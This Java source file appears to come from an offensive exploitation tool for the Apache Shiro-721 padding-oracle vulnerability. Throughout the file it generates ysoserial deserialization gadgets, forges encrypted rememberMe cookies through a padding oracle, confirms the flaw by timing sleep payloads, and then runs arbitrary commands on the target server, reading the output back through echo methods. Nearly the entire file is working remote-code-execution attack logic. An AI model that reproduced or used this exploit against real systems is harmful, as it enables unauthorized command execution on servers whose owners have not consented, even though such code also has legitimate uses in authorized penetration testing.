package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.PaddingOracle;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.ArrayList;
import java.util.List;

public class Shiro721VerifierUsingEcho implements Verifier {
    private Config config;
    private List<PayloadType> gadgets;
    private List<EchoType> echoTypes;

    public Shiro721VerifierUsingEcho(){
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
        this.echoTypes = new ArrayList<>();
        System.out.println("[*] Using Shiro721VerifierUsingEcho");
    }

    @Override
    public void getValidGadget() throws ExploitFailedException {

        label1:for(PayloadType type : config.getGadgets()) {

            System.out.println("[*] Trying Gadget: " + type.getName());
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                    + " directive:sleep:10";
            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = paddingOracle.encrypt();

            int delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe);
            if (delay >= 9) {
                int secondTest = delay + 5;
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                        + " directive:sleep:" + secondTest;


                result = Tools.exec(command);
                paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
                rememberMe = paddingOracle.encrypt();

                delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe);

                if (delay >= secondTest - 1) {
                    System.out.println("[+] Time delay Detected, target seems to be vulnerable, confirming....");
                    this.gadgets.add(type);

                    getValidEchoMethod();

                    if(this.echoTypes.size() > 0){
                        System.out.println("[+] Vuln Confirmed");
                        System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0));
                        for(EchoType echoType : this.echoTypes){
                            System.out.println("[+] Find Valid Echo Method: " + echoType.getName());
                        }
                        break label1;
                    }else{
                        System.out.println("[-] Looks like a false positive or can not find a valid echo method");
                        this.gadgets.clear();
                    }
                }
            }
        }

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can't find a valid gadget");
        }
    }

    private void getValidEchoMethod(){
        this.echoTypes = EchoUtil.getValidEchoType(null, this.gadgets.get(0));
    }

    @Override
    public String executeCmd(String cmd){
        PayloadType payloadType = Tools.randomSelect(gadgets);
        EchoType echoType = Tools.randomSelect(echoTypes);

        if(cmd.startsWith("directive:")){
            System.out.println("[*] Using Gadget " + payloadType.getName());
            System.out.println("[*] Executing command: " + cmd + "...");
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = null;
            try {
                rememberMe = paddingOracle.encrypt();
            } catch (ExploitFailedException e) {
                e.printStackTrace();
            }
            HttpRequest.request(config.getRequestInfo(), rememberMe);
            System.out.println("[+] Done");
            return "";
        }

        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Using Echo Method " + echoType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");
        String result = EchoUtil.getEchoResult(null, payloadType, cmd, echoType);
        System.out.println("[+] Done");

        return result;
    }
}
